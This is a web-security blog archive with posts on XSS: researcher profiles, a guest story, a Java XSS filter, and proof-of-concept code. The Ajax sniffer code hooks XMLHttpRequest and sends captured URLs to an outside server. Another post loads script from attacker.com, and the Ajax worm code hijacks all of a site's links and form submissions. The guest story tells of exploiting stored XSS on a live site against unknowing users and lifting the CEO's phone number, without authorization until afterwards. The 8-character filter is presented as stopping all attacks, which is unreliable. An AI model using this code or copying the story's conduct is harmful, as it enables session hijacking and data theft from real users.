Showing posts with label XSS. Show all posts
Showing posts with label XSS. Show all posts

Thursday, May 06, 2010

Free Hands on Workshop on Web Application Security in New York City

Ever wondered how a hacker hacks all these credit cards? Do you think hacking a website is difficult? What are the skills required to hack a website?

ISSA NY Metro chapter is organizing a 3 hour workshop on web application security. This session will show you how easy it is to steal credit card numbers, SSN, etc by doing a SQL injection attack or how you can steal passwords, hijack a session using Cross Site Scripting (XSS). This session will not only make you think like a hacker but also make you find and exploit vulnerabilities in a live web application that closely resembles those containing your personal information, credit card numbers and even medical history.Attendance is free for ISSA members and $35 for non members. This is a hands on session so please bring a laptop to this event to fully benefit from the material that will be presented. If you do not have a laptop, you should still attend and share with another member, or follow along on the big screen. PLease do not send RSVP, instead register at the link below.

Only 30 seats left


Event Type : Workshop / Hands on Training
Date & Time : May 27, 2010 2pm - 5pm
Price : Free for members, 35 for non-members

Location :

PriceWaterHouseCoopers
300 Madison Ave (Corner 42 Street)
New York, NY 10017


Registration Link - http://guest.cvent.com/EVENTS/Info/Summary.aspx?e=f1707482-d496-4011-b4cb-0e9e212012d7
Event Link - http://www.nymissa.org/2010/04/23/tricks-of-the-trade-web-application-security-2/

Sunday, August 12, 2007

Did WebApp developers learn from Samy worm?

At the Mozilla Pyjama party during Blackhat, Me and Jeremiah met up with Bubba Gump and he shared with us an interesting story on how he was able to do something similar like Samy worm on another social networking site. His story just goes to show that there are so many other websites which are still getting hacked the same way but either have no clue or are in a denial mode. We asked him to share his story with others in the community too and if he can write it for us then I will post it on my blog. The site developers were already notified of the vulnerability and they have fixed it so I am posting this story on my blog. Here it goes


Awhile back I read a Newsweek article about a new social networking website called GoLoco.org. This site is designed for making car-pooling arrangements and is run by an environmentalist CEO named Robin Chase. The idea is to help the environment and save money on gas at the same time – an interesting concept.

After signing up for a free account on the GoLoco site, I couldn't help but play around with it a bit. I started by going to the Modify Profile page and injecting <> tags into various items in my profile to see what would happen. For the most part, any tag I injected would be properly HTML encoded before being echoed back onto the page. However, they forgot to lock down two of the fields in my profile. Upon further experimentation, I found that each field had a max length of 255 characters and could hold a persistent Cross-Site Script. Nice!

Although some very interesting feats could be accomplished with this vulnerability, I sat on this info for awhile – the Goloco site was new, with only about 1000 users at that time. There wasn't much glory to be had in creating another Samy worm on this site.

But two weeks later I received an email from Robin Chase. She laid down a challenge – the first Goloco user to exceed her in number of friends would win a free t-shirt. It was almost like she was asking to be XSSed!

I started by inserting some AJAX code into my profile that would make the person viewing it automatically POST a request to become my friend. In order to get more people to view my profile, I posted a trip from Boston to California. Most of the site's users are from Boston, so they would see this trip listed on their homepage upon logging in. Clicking on the Trip Details link would bring up my profile, which would cause the user to unknowingly make the friendship request.

I expected to start receiving lots of friendship request emails, but was disappointed at first. An average of just one or two requests came in per day, which reflected the low amount of traffic on this site and the fact that a user would have to click on my link out of a list of about 20 trips in order to be hit with the XSS. Clearly I needed to re-think my approach.

A little more exploration of the site led me to the breakthrough that I was hoping for. It turns out that the trip location names were also Cross-Site Scriptable, and the destination location name is what showed up on the homepage after a user logs in. This means that users no longer had to click on my link to get hit with the XSS – all they needed to do was log into the site and they'd immediately request to become my friend. I did not attempt to make the XSS payload wormable because I did not want to do anything that would cause damage to other peoples' profiles or trips.
After this new, improved XSS was put in place, the friendship requests started pouring in at a rate of about 15 per day, which for this particular site was impressive. A nice, unexpected side-effect is that I would receive an email every time a user logged into the site. I quickly got to learn the usage habits of various people – for example, one of the employees of the site had a strange tendency to log in at 4:00 AM. I also experienced another unintended side-effect. The site had no controls in place to prevent duplicate friendship requests from the same person, so I began to get spammed with duplicate requests as the same user hit the homepage multiple times. This became annoying after awhile, so I modified my XSS to drop a cookie on the user's machine to track whether or not they had submitted a friendship request already – ah, much better!

While waiting for the friendship requests to come in, I explored the site a bit further, this time looking for interesting HTML comments. I discovered that the site's developers were displaying private communications between members in HTML comments. I was able to obtain lots of interesting info this way, including the names of all of the site's developers and CEO Robin Chase's cell phone number. This would come in handy later.

After three days, I had built up enough friendship requests to exceed Robin. And in fact, the last person to get hit with my XSS was none other than Robin Chase herself, who logged in bright and early at 6:45 AM. I removed the XSS, accepted all of the friendship requests that had queued up, and counted my friends – sure enough, I was ready to claim my prize.

Later that morning I called Robin and claimed my t-shirt. Interestingly, she didn't ask me how I obtained her cell phone number or how I had acquired so many friends so quickly. But she congratulated me and told me she'd send me the t-shirt.

Shortly after that, I got in touch with the people in charge of development for the site and told them about the security issues, which they quickly addressed. Today, Goloco is integrated with Facebook, so I suspect that it is a bit harder to hack than it used to be. And Robin, if you're reading this I just want to remind you that I'm still waiting for my t-shirt!

-Bubba

Monday, June 11, 2007

Reflection on pdp


This week on reflection we have Petko D Petkov (popularly known as pdp). pdp has been active in the webappsec community for sometime now. He has written many articles and published many tools. Two of his more popular tools are Attack API and Technika (firefox extension). He is also a co-author of the book XSS Exploits: Attacks and Defense. Recently he presented on Advanced Web Hacking Revealed in OWASP Appsec Conference in Italy 2007. In his reflection pdp shares with us how he got started in webappsec field. In his own words

“I have always been fascinated by the power of Web but it was around year 2000 when I got into web application security. Other then that, my interests towards IT security has been growing since 1995. Funny enough, it was "Hackers", the movie that sort of inspired me to spend my time on solving interesting problems with my not-so-advance for that time PC, rather then wasting time on games. Back then, I had 286 MHz "Pravetz", produced in Bulgaria. One of the first projects of mine was a simple calculator that was also password protected. When I finished the project, I also learned how to trick the password protection mechanism by modifying the jumper inside the program binary. That was fun. The Bulgarian underground scene used to be a great resource for me to learn. I started reading an online-zine called Phreadom. I am still looking for the old issues but I guess they are somehow lost forever.

I started hacking from the time I learned how to program. My Dad told me that programming is one of the few professions out there that teaches you about the world in general since programmers try to reflect real world problems into easy to maintain and use software products. That made me start thinking outside the box. I define myself as a life-hacker. I guess this is the reason why I am where I am today. When I came to UK I didn't wanted to waste time so I did a lot of security related projects. This is when my IT Security career started. I was 18 I was doing the stuff that I wanted to do all my life.”

Based out of london, UK, pdp is only 22 years old. Below is a list of his contributions to the webappsec community.


Books:-

XSS Attacks: Exploits and Defense
http://www.amazon.com/Cross-Site-Scripting-Attacks-Exploits/dp/1597491543/sr=1-1/qid=1170769149?ie=UTF8&s=books

Articles:-

The Web has Betrayed Us
http://www.gnucitizen.org/blog/the-web-has-betrayed-us

Persistent CSRF and The Hotlink Hell
http://www.gnucitizen.org/blog/persistent-csrf-and-the-hotlink-hell

Preventing CSRF
http://www.gnucitizen.org/blog/preventing-csrf

Sex, Candies and Bookmarklet Exploits
http://www.gnucitizen.org/blog/sex-candies-and-bookmarklet-exploits

The Machine is Using Us
http://www.gnucitizen.org/blog/the-machine-is-using-us

Playing in Large
http://www.gnucitizen.org/blog/playing-in-large

Universal PDF XSS After Party
http://www.gnucitizen.org/blog/universal-pdf-xss-after-party

Danger Danger Danger
http://www.gnucitizen.org/blog/danger-danger-danger

Web OS
http://www.gnucitizen.org/blog/web-os

Cross-site Request Forgery
http://www.gnucitizen.org/blog/cross-site-request-forgery

The 0XSS Credo
http://www.gnucitizen.org/blog/the-0xss-credo

The Backdooring Series:
http://www.gnucitizen.org/blog/backdooring-images
http://www.gnucitizen.org/blog/backdooring-mp3-files
http://www.gnucitizen.org/blog/backdooring-quicktime-movies
http://www.gnucitizen.org/blog/backdooring-flash-objects-receipt
http://www.gnucitizen.org/blog/backdooring-flash-objects
http://www.gnucitizen.org/blog/backdooring-web-pages

The XSSing the Lan Series:
http://www.gnucitizen.org/blog/xssing-the-lan-4
http://www.gnucitizen.org/blog/xssing-the-lan-3
http://www.gnucitizen.org/blog/xssing-the-lan-2
http://www.gnucitizen.org/blog/xssing-the-lan


Presentation:-

Advanced Web hacking revealed
http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007/Agenda


Tools written by him:-

Some of the tools published by him

JavaScript YPipes Spider
http://www.gnucitizen.org/projects/6th-owasp-conference/spider.htm

JavaScript TinyURL Filesystem
http://www.gnucitizen.org/projects/6th-owasp-conference/tinyfs.htm

Google Hacking Database Interface
http://www.gnucitizen.org/applications/ghdb

JavaScript Port Scanner
http://www.gnucitizen.org/projects/javascript-port-scanner

Greasemonkey Backdoor
http://www.gnucitizen.org/projects/greasecarnaval

Exploit Development Environment for Firefox
http://www.gnucitizen.org/projects/technika

Geo position Zombies on a map
http://www.gnucitizen.org/applications/zombiemap

Attack Framework for controlling zombies
http://www.gnucitizen.org/applications/backframe

simple JavaScript tesing framework
http://www.gnucitizen.org/projects/firetest

powerful JavaScript based attack library
http://www.gnucitizen.org/projects/attackapi

The Cross-site Scripting database
http://www.gnucitizen.org/applications/xssdb

Powerful and very customizable attack communication channel
http://www.gnucitizen.org/projects/javascript-attack-channel

Set of utilities useful when performing enumeration attacks
http://www.gnucitizen.org/projects/met


Company working for:-

NTA-Monitor


Email:-

pdp__at__gnucitizen_dot_org


Blog:-

gnucitizen.org


Web:-

gnucitizen.org


Companies worked for:-

Freelance


Pdp has a vast knowledge of different technologies and frameworks available on the internet. If you are not already following his blog, then I would recommend doing so. He brings up some good points for webappsec community.

Last Week – Saumil Shah
Next Week – Alex Stamos

Thursday, February 15, 2007

Reflection on RSnake


If you have heard of XSS cheat sheet or http://ha.ckers.org/ then you already know him. His name is Robert Hansen or more popularly known as RSnake. If there is any mention of XSS, there is a big chance RSnake’s name or its cheat sheet is mentioned along with it. His contribution in the web application security awareness is legendary. On two of his many web sites (http://ha.ckers.org/ and http://sla.ckers.org/ ) you will find a wealth of information on various aspects of webappsec. His XSS cheat sheet is arguably the most referenced link in the webappsec space with 27000 hits in the month of January ’07 alone and http://ha.ckers.org/ has around 10,000 unique visitors per day (not counting the RSS feeds) making it probably the most followed blog in webappsec field. He has shared his technical expertise with a lot of industry professionals in their work including but not limited to working with Microsoft engineers to address XSS issue, Cloaking to Stop Scraping, and his discussion with the author of the chilling effect.

Looking at his past, he started hacking when he entered college, which was when the web applications were just getting started. In his words

"I'm a college dropout but was studying Computer Engineering. It was way too boring. They were dealing with the theoretical nuances of computers and outdated technology (Pascal pseudo-code on Macintosh assembler). At the same time that I was going to school, in my part time jobs I was doing in practice what my professors could only barely grasp from a theoretical perspective. This was pre-bubble and my parents and my teachers were telling me to get out there and make my millions. I took angel funding for a project, and everything seemed to be going well, but then the stock market crashed, investment money dried up and I learned a hard lesson. It was the day I closed up shop at my own company that I learned everything I need to know about business.
My first PERL script was a top100 list for webfringe.com (long gone now). I had a lot of people trying to hack it. It was a fun experiment that I finally gave up on due to time issues, but it gave me a lot of insight into how you can spoof traffic. Hackers have some of the most interesting traffic on the Internet. It's a pleasure to host security sites, because I get great visibility into the techniques and tools.”

RSnake is currently based out of California but is planning to move to Texas, US and start his own company SecTheory. In the WASC meetup I got a chance to meet with him, and for a person who is known and respected by the hackers and security professionals alike, he is very down to earth and with a good sense of humor, unlike a typical geek. Below are some of his contributions to the webappsec community. I say some because the information below does not represent all his work. Even he has lost track of some of his work over the years.

Articles / Books

PGP Man in the Middle Attack

AcuTrust Entropy Attacks

Hardening HTAccess, Part One

Hardening HTAccess, Part Two

Hardening HTAccess, Part Three

Accessing Trillian Pro Remotely and Through an Encrypted Tunnel

Death By 1000 Cuts – a Case Study
http://ha.ckers.org/deathby1000cuts/

Is your money safe?
http://ha.ckers.org/old/

Electronic Commerce Insecurity
http://ha.ckers.org/old/10102002.shtml

Internet Mind Games
http://ha.ckers.org/old/07221998.shtml

Apache Information Disclosure Issues or, "How to detect cloaking"
http://www.secureseo.com/blog/2006/04_07_apache_information_disclosure_issues.html

He is also co-authoring a book on XSS to be released tentatively on March 1, 2007
Cross Site Scripting Attacks: XSS Exploits and Defense


Tools written by him:-

Fierce
http://ha.ckers.org/fierce/

MHTML framework
http://ha.ckers.org/weird/mhtml.zip

XSS fuzzer
http://ha.ckers.org/fuzzer/XSSFuzz.zip


Contributions:-

Lots of changes to browser technology over the years. Started a number of security sites, written hundreds of articles, dozens of tools and many sample PoC. He has also presented at Blackhat USA and Networld+Interop on a Security Information Management roundtable (couldn’t find the url)


Blogs:-

Web Application Security Blog
http://ha.ckers.org/

Snake Bytes
http://www.darkreading.com/blog.asp?blog_sectionid=403


Websites:-

He had started many security related sites, but these two are most popular

To discuss any aspect on web application security
http://sla.ckers.org

If you want a break from your work and need a quick laugh
http://www.fthe.net/


Memberships:-

ISSA, CISSP, OWASP, WASC, IASCP. He is also working on something to certify web application security engineers.


Companies worked for:-

He has worked for a major banner advertising company as an Information Specialist and for several start-up companies as Chief Operations Officer and Chief Security Officer. He is now starting his new company SecTheory - doing boutique web application and network security consulting.


Email:-

h__at__ckers.org

We will see a lot more contribution from him as he is working on some very cool stuff and if you want to stay on top of webappsec then make http://ha.ckers.org/ as the first site you visit to. I wish him all the best in his new endeavor.


Last Week – Amit Klein
Next Week – Jeremiah Grossman

Tuesday, January 23, 2007

XSS filter to protect from XSS attacks

Here are the excerpts from the chilling effect

Grossman, who founded his own research company, WhiteHat, claims XSS vulnerabilities can be found in 70 percent of websites. RSnake goes further. "I know Jeremiah says seven of 10. I'd say there's only one in 30 I come across where the XSS isn't totally obvious. I don't know of a company I couldn't break into [using XSS]."
If you apply Grossman's number to a recent Netcraft survey, which estimated that there are close to 100 million websites, you've got 70 million sites with XSS vulnerabilities. Repairing them one-off, two-off, 200,000-off is spitting in the proverbial ocean. Even if you've disclosed, you've done very little to reduce the overall risk of exploit. "Logistically, there's no way to disclose this stuff to all the interested parties," Grossman says. "I used to think it was my moral professional duty to report every vulnerability, but it would take up my whole day."


If we can put an XSS filter in the framework (for example, as a servlet filter in the Java EE) then it would make it a lot easier for the developers to not worry about all the places where they are accepting the input from the client browser. Instead they can just do a request.getParameter() and the servlet filter would do all the filtering for XSS characters with each and every request which comes in to the JSP pages or servlets.

I have created a xss filter which can be tested at http://www.attacklabs.com/xssfilter/. It filters only 8 characters but it protects from all the possible attack strings mentioned in the Rsnake’s cheat sheet. If you can find an xss attack which can bypass the filter, then please do submit it here or email it to me at anurag.agarwal@yahoo.com

Please bear in mind that this filter is not the right choice if you want your users to input HTML tags or urls.

Source Code

import java.io.*;
import java.net.*;

import javax.servlet.*;
import javax.servlet.http.*;

/**
*
* @author anurag agarwal
* @version 1.0
*/
public class XSSFilter extends HttpServlet {
private String[] filterChars = {"<", ">", "<", ">", "&#", "\"", "\\", "0x"};
private String[] replacementChars = {" ", " ", " ", " ", "#", "'", "/", "0 x"};

protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();

String html = request.getParameter("html");
out.println("Here is the filtered output of the html you submitted.");

out.println(filterRequest(html));

out.close();
}

private String filterRequest(String param) {
String value = param;

if( param!=null) {

for(int i = 0; i < filterChars.length; i++) {
value = filterCharacters(filterChars[i], replacementChars[i], value);
}

}

return value;

}

private String filterCharacters(String originalChar, String newChar, String param)
{
StringBuffer sb = new StringBuffer(param);

for(int position = param.toLowerCase().indexOf(originalChar); position >= 0; ) {
sb.replace(position, position + originalChar.length(), newChar);
param = sb.toString();
position = param.toLowerCase().indexOf(originalChar);
}

return sb.toString();
}

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
}

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken the same files as I demonstrated in ajax worm PoC. You can see the demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override the open and send function of XMLHttpRequest using javascript inheritance
2. Send the data to a program on the other domain

Override the open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace the implementation of a behavior—that it has inherited. This process is usually called overriding. Another reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into the super class is either not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at the links in the references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is the main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to the existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is the new function');
}

//Call the new function
newClass.newFunction();


As you can see, using prototype we can add new functions to the existing class or override functionality of the existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call the sniffing function from it and then pass the control to the original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store the reference to the original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign the newly created myOpen function to the original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen the original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides the original send function of XMLHttpRequest object and calls it towards the end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when the onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if there is an error when the onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add the load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call the original send function. */

xhr.originalSend(a);
}

/* Store the original function in another variable and call it from within the overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign the newly created mySend function to the original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend the original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to the XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send the data to a program on the other domain

This function sends the data to a servlet on an external domain. To read the proof of concept of how to bypass same origin barrier of javascript read here and view the demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove the script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see the demo at http://www.attacklabs.com

You can download the source code at http://www.attacklabs.com/download/sniffer.rar

Wednesday, January 10, 2007

Breaking the Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in the sample code below, you will see that i will remove the <> tags from the script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to another domain. That is because of the same origin policy implemented in the browsers. The same origin policy of the browsers prevents document or script loading from a different domain to manipulate the document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of the current browsers implement the same origin policy on nearly every properties and methods available to javascript. The only exception to the same origin policy is if you are working with documents loaded from any of the subdomains of the current domain. By setting the domain property of the document, scripts residing on subdomain are allowed access to the scripts on the main domain. For example, the script from test.domain.com could set the domain property to “domain.com”. This way the script passes the origin checks when accessing windows loaded from “domain.com”. However, the scripts from “test.domain.com” could not set the domain property to “anotherdomain.com”.

When a script tries to access properties or methods in a different window – for example, using the handle returned by window.open() – the browser performs a same origin check on the URLs of the document in question. If the URLs of the document pass this check, the property can be accessed, and if they don’t then an error is thrown. The same origin check consists of verifying that the URL of the document in the target window has the same origin as the document containing the calling script.

External Javascript from Java Servlets

One of the lesser known sides of external JavaScript is the ability to reference a server side program(CGI, PHP or Servlets) instead of the familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within the browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of the script tag, while the html page is being loaded. Using the src attribute of the script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is the server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of the usual .js file. Interestingly you can even pass parameters to the servlet through the URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now the servlet can be invoked and process parameters and return the result back. There is a limitation however. It can only return Javascript code. You also have to set the content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But there is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at the very beginning to inform the browser that it is receiving a JavaScript file. The final output of the servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces the content of the html page and displays “Welcome anurag”.
The other limitation, however, is that it cannot have an interactive session with the server side program. While loading the page, when the browser comes across the script tag, it goes to the URL mentioned in the src attribute and validates the incoming data as a valid javascript and executes it. The script tag is only executed once and after the entire page is loaded, it cannot call the server side program again.

Breaking the same origin barrier using external Javascript

As we discussed above, once the entire html page is loaded and all the Javascript files are executed, there can be no interaction with the server anymore since all the script tags are executed by the browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in the src attribute and VIOLA, we have just breached the same domain barrier. Let’s take a look at the code.

Code sample
Append the following Javascript code at the victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create the servlet at the attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view the demo here (http://www.attacklabs.com)

Download Code

You can download the sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all the user activity through itself. The idea is simply to be able to control and monitor the user activity on a website by inserting the malicious script into the visiting user's session using XSS. I have been advocating for some time now, the extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of the user as long as he is on that site and in some cases even after he has left the website. This Proof of Concept is limited to the worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in the industry. Ajax by itself may not open any new vulnerabilities but it does increase the attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, the request goes to the server and the server responds back with the response and a new page is loaded on the screen and a new url is displayed on the location bar (unless it’s a dynamic page and is submitting to itself). In either case, a user can see a browser screen getting refreshed and a new page getting loaded on the screen as the request and response were handled by the browser. With the use of Ajax, the same request and response can be handled by the application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind the scenes by the web application and the page doesn’t have to refresh like it used to in the traditional way. The url on the location bar remains the same even though we may be loading a different url altogether. Though, ajax has helped immensely with the applications trying to provide a better user experience and a rich user interface, but at the same time it has opened a world of opportunities for the bad guys. Now an attacker can do a lot more damage then it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with the help of ajax they can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with the help of ajax by inserting a script which propagates to every page you visit on that website.


When the script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to the server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All the ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of the object is XMLHttpRequest for compatibility with the web as it doesn't make much sense otherwise. It supports the transport of other data formats in addition to XML, some implementations support other protocols besides HTTP (that functionality is not covered in this specification though) and the API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in the actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all the links
This is where we capture all the links in a website. If it is an internal link then we replace it with our javascript function, so now whenever a user clicks on any of the link, browser instead of opening that page, calls the javascript function and which in turn silently communicates with the server in the background, fetches the link and loads the page in the memory and while doing so, it captures all the links and forms of the newly loaded page.

function collect_links()
{
//Collect all the link in the html page.
var all_links = document.getElementsByTagName("a");

//Go through all the links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all the links with the javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all the forms.
This is where we capture all the forms in a web page. collect_forms function does the same thing as collect_links does except for it just looks for all the forms and replaces their action attribute with its javascript function. It also inserts or replaces (if already exists) the id of the form with the actual url so that the worm script can identify them at the time of submission. As you will see in the last line here that the action attribute is replaced by the submit_form function of the worm. So now when the user will try to submit any form, instead of browser submitting the form to the server, the submit_form function will be called.

function collect_forms()
{
//Collect all the forms in the html page.
var all_forms = document.getElementsByTagName("form");

//Go through all the forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace the id of the form with the original submit url.
all_forms[i].id = all_forms[i].action;

//Replace the submit url of the page with the javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load the requested url dynamically
loadUrl function takes the url as a parameter and connects to the server and requests for that url. The server treats it as any other request it would have received from the client and sends the file with that url. Normally it is the browser who receives the file and displays it in the browser, but with Ajax it is our XHR object which receives the file and updates the client screen with the new html code, then it calls collect_links and collect_forms function to hijack the links and forms in the new html code. This way, the worm script is always in control of all the request/response made from the client browser to the server.

function loadUrl(url)
{
//Connect to the server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for the request state and status. Status = 200 means the request was successful
if(ajax_request.status == 200) {
//Load the response from the server into the document’s body. This will dynamically
change the content of the page but the url on the address bar of the browser will
remain the same. So, even though the new url is loaded, the location bar of browser
will show the url of the original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and forms in the new html page.
collect_links();
collect_forms();
}
}


//Code to create the form parameter string
This function is called when a user tries to submit a form. As all the forms are hijacked and replaced with submit_form function of the javascript, when the user clicks on submit button, this function is called with the id of the form which was already replaced at the time of hijacking. Based on that id, the script loads all the forms and its elements. It then calls the post_attacker function which submits the values to the server, captures the response and displays on the user window and hijacks any links or forms in the new html code. For the sake of this demo, when you enter a username and password on the login page and clicks on submit, then the script displays the values on the screen before calling the post_attacker function.
function submit_form(form_id)
{
//get the form element from the id.
var form = document.getElementById(form_id);

//This is where the form values are displayed when the user presses the submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All the parameters have to be in the format of name=value to be able to submit to the server.
var post_url = "";

//Iterate through every element of the form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to the server.
post_attacker(form_id, post_url);
}

//Code to submit the form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to the url.
ajax_request.open("POST", url, false);

//Set the header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send the parameters
ajax_request.send(parameters);

//Load the response from the server into the document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all the links and the forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with the help of Ajax, which controls all the communication between the user and the server. Whatever link a user clicks on or submits a form, everything is passed through the worm script. It also has the capability to make changes to the data before it gets submitted to the server or before it gets loaded in the user browser after it is received from the server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to the same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, the implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when they do allow it, they should consider the security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at the demo of the Proof of concept, please go to http://www.attacklabs.com
To download the source code, go to http://www.attacklabs.com/download/ajax_worm.zip

Wednesday, October 11, 2006

How Ajax makes it easier to steal information from your clipboard

Cut Copy Paste has always been an important part of our digital life. Developers, as well as regular users, can't live without it. Regular users use it routinely to copy and paste information such as passwords and credit card numbers from one form to another. Office employees use it all the time when creating documents. There's no denying our reliance on the Copy and Paste functionality of the clipboard.

How would you feel if that information were stolen out of your computer?

read the complete article here